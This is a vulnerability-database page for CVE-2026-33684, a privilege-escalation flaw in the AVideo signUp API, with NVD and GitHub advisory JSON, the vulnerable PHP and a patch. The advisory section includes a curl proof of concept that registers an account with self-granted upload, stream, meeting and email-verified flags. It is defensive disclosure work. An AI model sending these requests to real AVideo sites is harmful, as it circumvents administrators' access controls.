Vulnerability-Lookup

CVE-2026-33684 (GCVE-0-2026-33684)

Vulnerability from cvelistv5 – Published: 2026-07-15 20:47 – Updated: 2026-07-16 12:54

Title

AVideo's Privilege AVideo: Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions

Summary

WWBN AVideo is an open source video platform. Prior to version 29.0, Privilege Escalation is possible through unguarded permission parameters in signUp API, which allows any user who can solve a CAPTCHA to self-grant elevated permissions during account registration. The set_api_signUp method in the API plugin accepts emailVerified, canUpload, canStream, and canCreateMeet parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. By self-granting account attributes, attackers can mark their own accounts as email-verified without owning the address (bypassing email-gated functionality) and award themselves upload, streaming, and meeting-creation permissions, circumventing administrator access controls that intentionally restrict these capabilities for new users. This issue has been fixed in version 29.0

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-862 - Missing Authorization

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
WWBN	AVideo	Affected: < 29.0

Show details on NVD website

JSON

To clipboard

{
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                "id": "CVE-2026-33684",
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FKIE_CVE-2026-33684

Vulnerability from fkie_nvd - Published: 2026-07-15 21:16 - Updated: 2026-07-16 14:16

Severity

5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-8j8m-p79x-g4jm
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/WWBN/AVideo/security/advisories/GHSA-8j8m-p79x-g4jm

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 29.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. Prior to version 29.0, Privilege Escalation is possible through unguarded permission parameters in signUp API, which allows any user who can solve a CAPTCHA to self-grant elevated permissions during account registration. The set_api_signUp method in the API plugin accepts emailVerified, canUpload, canStream, and canCreateMeet parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. By self-granting account attributes, attackers can mark their own accounts as email-verified without owning the address (bypassing email-gated functionality) and award themselves upload, streaming, and meeting-creation permissions, circumventing administrator access controls that intentionally restrict these capabilities for new users. This issue has been fixed in version 29.0"
    }
  ],
  "id": "CVE-2026-33684",
  "lastModified": "2026-07-16T14:16:50.530",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-33684",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-16T12:54:09.239361Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-15T21:16:36.323",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8j8m-p79x-g4jm"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8j8m-p79x-g4jm"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-8J8M-P79X-G4JM

Vulnerability from github – Published: 2026-06-22 17:25 – Updated: 2026-06-22 17:25

Summary

AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions

Details

Summary

The set_api_signUp method in the API plugin accepts emailVerified, canUpload, canStream, and canCreateMeet parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. Any anonymous user who can solve a CAPTCHA can self-grant elevated permissions during account registration.

Details

The authentication check in set_api_signUp (plugin/API/API.php:4222) allows either a valid APISecret (admin-level credential) or a solved CAPTCHA (anonymous access):

// plugin/API/API.php:4222-4232
if ($obj->APISecret !== @$_REQUEST['APISecret']) {
    if(empty($_REQUEST['captcha'])){
        return new ApiObject("Captcha is required");
    }
    require_once $global['systemRootPath'] . 'objects/captcha.php';
    $valid = Captcha::validation($_REQUEST['captcha']);
    if(!$valid){
        return new ApiObject("Captcha is wrong, reload it and try again");
    }
}

After this check, both code paths (APISecret and CAPTCHA) reach the privilege parameter handling unconditionally:

// plugin/API/API.php:4238-4249
if (isset($_REQUEST['emailVerified'])) {
    $global['emailVerified'] = intval($_REQUEST['emailVerified']);
}
if (isset($_REQUEST['canCreateMeet'])) {
    $global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);
}
if (isset($_REQUEST['canStream'])) {
    $global['canStream'] = intval($_REQUEST['canStream']);
}
if (isset($_REQUEST['canUpload'])) {
    $global['canUpload'] = intval($_REQUEST['canUpload']);
}

These $global values are then consumed by User::save() (objects/user.php:829-840), which overrides the user object's permission fields:

// objects/user.php:829-840
if (isset($global['emailVerified'])) {
    $this->emailVerified = $global['emailVerified'];
}
if (isset($global['canCreateMeet'])) {
    $this->canCreateMeet = $global['canCreateMeet'];
}
if (isset($global['canStream'])) {
    $this->canStream = $global['canStream'];
}
if (isset($global['canUpload'])) {
    $this->canUpload = $global['canUpload'];
}

Note that even though userCreate.json.php:90 sets canUpload from the site's default configuration, User::save() subsequently overrides it with the attacker-controlled $global value.

The codebase already uses self::isAPISecretValid() to guard admin-only operations in other API methods (e.g., lines 294, 991, 1664, 2150), but this check is missing for the privilege parameters in set_api_signUp.

PoC

# Step 1: Get a CAPTCHA token
# (Navigate to the signup page in a browser, solve the CAPTCHA, capture the token)

# Step 2: Register with elevated privileges
curl -X POST 'https://target/plugin/API/set.json.php' \
  -d 'APIName=signUp' \
  -d 'user=attacker' \
  -d 'pass=Password123!' \
  -d 'email=attacker@example.com' \
  -d 'name=Attacker' \
  -d 'captcha=VALID_CAPTCHA_TOKEN' \
  -d 'emailVerified=1' \
  -d 'canUpload=1' \
  -d 'canStream=1' \
  -d 'canCreateMeet=1'

# Expected: Account created with default (restricted) permissions
# Actual: Account created with upload, stream, and meet permissions enabled,
#         plus email marked as verified

# Step 3: Verify elevated permissions by logging in and checking profile
curl -X POST 'https://target/plugin/API/set.json.php' \
  -d 'APIName=signIn' \
  -d 'user=attacker' \
  -d 'pass=Password123!'
# Response will show canUpload=1, canStream=1, canCreateMeet=1, emailVerified=1

Impact

Email verification bypass: Attackers can mark their accounts as email-verified without owning the email address, bypassing any email-gated functionality
Unauthorized upload access: Self-granted upload permissions allow uploading potentially malicious video content to the platform
Unauthorized streaming access: Self-granted streaming permissions allow unauthorized live streaming
Unauthorized meeting creation: Self-granted meet permissions allow creating meetings on the platform
Policy bypass: Platform administrators who intentionally restrict these permissions for new users (e.g., requiring manual approval before granting upload rights) have their access controls circumvented

Recommended Fix

Wrap the privilege parameter handling in an isAPISecretValid() check so that only admin-authenticated requests can set these values:

// plugin/API/API.php — replace lines 4238-4249 with:
if (self::isAPISecretValid()) {
    if (isset($_REQUEST['emailVerified'])) {
        $global['emailVerified'] = intval($_REQUEST['emailVerified']);
    }
    if (isset($_REQUEST['canCreateMeet'])) {
        $global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);
    }
    if (isset($_REQUEST['canStream'])) {
        $global['canStream'] = intval($_REQUEST['canStream']);
    }
    if (isset($_REQUEST['canUpload'])) {
        $global['canUpload'] = intval($_REQUEST['canUpload']);
    }
}

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33684"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T17:25:03Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `set_api_signUp` method in the API plugin accepts `emailVerified`, `canUpload`, `canStream`, and `canCreateMeet` parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. Any anonymous user who can solve a CAPTCHA can self-grant elevated permissions during account registration.\n\n## Details\n\nThe authentication check in `set_api_signUp` (`plugin/API/API.php:4222`) allows either a valid APISecret (admin-level credential) or a solved CAPTCHA (anonymous access):\n\n```php\n// plugin/API/API.php:4222-4232\nif ($obj-\u003eAPISecret !== @$_REQUEST[\u0027APISecret\u0027]) {\n    if(empty($_REQUEST[\u0027captcha\u0027])){\n        return new ApiObject(\"Captcha is required\");\n    }\n    require_once $global[\u0027systemRootPath\u0027] . \u0027objects/captcha.php\u0027;\n    $valid = Captcha::validation($_REQUEST[\u0027captcha\u0027]);\n    if(!$valid){\n        return new ApiObject(\"Captcha is wrong, reload it and try again\");\n    }\n}\n```\n\nAfter this check, both code paths (APISecret and CAPTCHA) reach the privilege parameter handling unconditionally:\n\n```php\n// plugin/API/API.php:4238-4249\nif (isset($_REQUEST[\u0027emailVerified\u0027])) {\n    $global[\u0027emailVerified\u0027] = intval($_REQUEST[\u0027emailVerified\u0027]);\n}\nif (isset($_REQUEST[\u0027canCreateMeet\u0027])) {\n    $global[\u0027canCreateMeet\u0027] = intval($_REQUEST[\u0027canCreateMeet\u0027]);\n}\nif (isset($_REQUEST[\u0027canStream\u0027])) {\n    $global[\u0027canStream\u0027] = intval($_REQUEST[\u0027canStream\u0027]);\n}\nif (isset($_REQUEST[\u0027canUpload\u0027])) {\n    $global[\u0027canUpload\u0027] = intval($_REQUEST[\u0027canUpload\u0027]);\n}\n```\n\nThese `$global` values are then consumed by `User::save()` (`objects/user.php:829-840`), which overrides the user object\u0027s permission fields:\n\n```php\n// objects/user.php:829-840\nif (isset($global[\u0027emailVerified\u0027])) {\n    $this-\u003eemailVerified = $global[\u0027emailVerified\u0027];\n}\nif (isset($global[\u0027canCreateMeet\u0027])) {\n    $this-\u003ecanCreateMeet = $global[\u0027canCreateMeet\u0027];\n}\nif (isset($global[\u0027canStream\u0027])) {\n    $this-\u003ecanStream = $global[\u0027canStream\u0027];\n}\nif (isset($global[\u0027canUpload\u0027])) {\n    $this-\u003ecanUpload = $global[\u0027canUpload\u0027];\n}\n```\n\nNote that even though `userCreate.json.php:90` sets `canUpload` from the site\u0027s default configuration, `User::save()` subsequently overrides it with the attacker-controlled `$global` value.\n\nThe codebase already uses `self::isAPISecretValid()` to guard admin-only operations in other API methods (e.g., lines 294, 991, 1664, 2150), but this check is missing for the privilege parameters in `set_api_signUp`.\n\n## PoC\n\n```bash\n# Step 1: Get a CAPTCHA token\n# (Navigate to the signup page in a browser, solve the CAPTCHA, capture the token)\n\n# Step 2: Register with elevated privileges\ncurl -X POST \u0027https://target/plugin/API/set.json.php\u0027 \\\n  -d \u0027APIName=signUp\u0027 \\\n  -d \u0027user=attacker\u0027 \\\n  -d \u0027pass=Password123!\u0027 \\\n  -d \u0027email=attacker@example.com\u0027 \\\n  -d \u0027name=Attacker\u0027 \\\n  -d \u0027captcha=VALID_CAPTCHA_TOKEN\u0027 \\\n  -d \u0027emailVerified=1\u0027 \\\n  -d \u0027canUpload=1\u0027 \\\n  -d \u0027canStream=1\u0027 \\\n  -d \u0027canCreateMeet=1\u0027\n\n# Expected: Account created with default (restricted) permissions\n# Actual: Account created with upload, stream, and meet permissions enabled,\n#         plus email marked as verified\n\n# Step 3: Verify elevated permissions by logging in and checking profile\ncurl -X POST \u0027https://target/plugin/API/set.json.php\u0027 \\\n  -d \u0027APIName=signIn\u0027 \\\n  -d \u0027user=attacker\u0027 \\\n  -d \u0027pass=Password123!\u0027\n# Response will show canUpload=1, canStream=1, canCreateMeet=1, emailVerified=1\n```\n\n## Impact\n\n- **Email verification bypass:** Attackers can mark their accounts as email-verified without owning the email address, bypassing any email-gated functionality\n- **Unauthorized upload access:** Self-granted upload permissions allow uploading potentially malicious video content to the platform\n- **Unauthorized streaming access:** Self-granted streaming permissions allow unauthorized live streaming\n- **Unauthorized meeting creation:** Self-granted meet permissions allow creating meetings on the platform\n- **Policy bypass:** Platform administrators who intentionally restrict these permissions for new users (e.g., requiring manual approval before granting upload rights) have their access controls circumvented\n\n## Recommended Fix\n\nWrap the privilege parameter handling in an `isAPISecretValid()` check so that only admin-authenticated requests can set these values:\n\n```php\n// plugin/API/API.php \u2014 replace lines 4238-4249 with:\nif (self::isAPISecretValid()) {\n    if (isset($_REQUEST[\u0027emailVerified\u0027])) {\n        $global[\u0027emailVerified\u0027] = intval($_REQUEST[\u0027emailVerified\u0027]);\n    }\n    if (isset($_REQUEST[\u0027canCreateMeet\u0027])) {\n        $global[\u0027canCreateMeet\u0027] = intval($_REQUEST[\u0027canCreateMeet\u0027]);\n    }\n    if (isset($_REQUEST[\u0027canStream\u0027])) {\n        $global[\u0027canStream\u0027] = intval($_REQUEST[\u0027canStream\u0027]);\n    }\n    if (isset($_REQUEST[\u0027canUpload\u0027])) {\n        $global[\u0027canUpload\u0027] = intval($_REQUEST[\u0027canUpload\u0027]);\n    }\n}\n```",
  "id": "GHSA-8j8m-p79x-g4jm",
  "modified": "2026-06-22T17:25:03Z",
  "published": "2026-06-22T17:25:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8j8m-p79x-g4jm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/061f242cba0e068cc1b461705fe839274b5038ff"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo\u0027s Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-33684 (GCVE-0-2026-33684)

FKIE_CVE-2026-33684

GHSA-8J8M-P79X-G4JM

Summary

Details

PoC

Impact

Recommended Fix

Tags

Sightings

Nomenclature